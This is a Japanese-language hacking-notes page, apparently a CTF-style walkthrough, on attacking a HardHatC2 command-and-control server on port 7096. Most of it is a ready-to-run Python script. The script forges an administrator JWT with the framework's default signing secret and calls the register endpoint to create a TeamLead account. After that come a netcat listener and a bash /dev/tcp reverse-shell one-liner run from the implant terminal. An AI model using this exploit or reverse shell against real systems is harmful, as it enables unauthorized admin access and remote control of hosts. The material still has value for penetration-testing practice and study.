> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/hardhatc2-7096.md).
# HardHatC2 - 7096
HardHatC2の認証バイパス、偽造JWTの生成、TeamLeadユーザーの作成、Implantのリバースシェル実行。
{% hint style="info" %}
HardHatC2 は、C# と .NET をベースにした複数ユーザー対応のコマンド＆コントロール（C2）フレームワークで、レッドチームの演習やペネトレーションテスト向けに設計されています。ASP.NET の Team Server、Blazor .NET クライアント、統合された C# インプラントを含み、他言語のサードパーティ製インプラントもサポートします。
{% endhint %}
## **HardHat C2 認証バイパス**
{% embed url="" %}
認証をバイパスして新しいユーザーを作成するには、次のスクリプトを使用してください:
```python
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# 管理者JWTを作成
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("生成されたJWT:")
print(token)
# 管理者JWTを使用して、TeamLead として新しいユーザー 'sth_pentest' を作成
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "jordan12345",
"role": "TeamLead",
"username": "jordan"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
```
スクリプトは `jordan` ユーザーを `TeamLead` ロールで生成します。
## HardHat C2 RCE
その `ImplantInteract` セクションでは、端末アクセスが利用できます。実行中 `whoami` 現在のユーザーが `sergej`.
次のユーザーとしてリバースシェルを確立する `sergej` ポート 443 で待ち受けながら:
```bash
nc -nlvp 443
```
リバース接続を開始するには、次のコマンドを実行してください:
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
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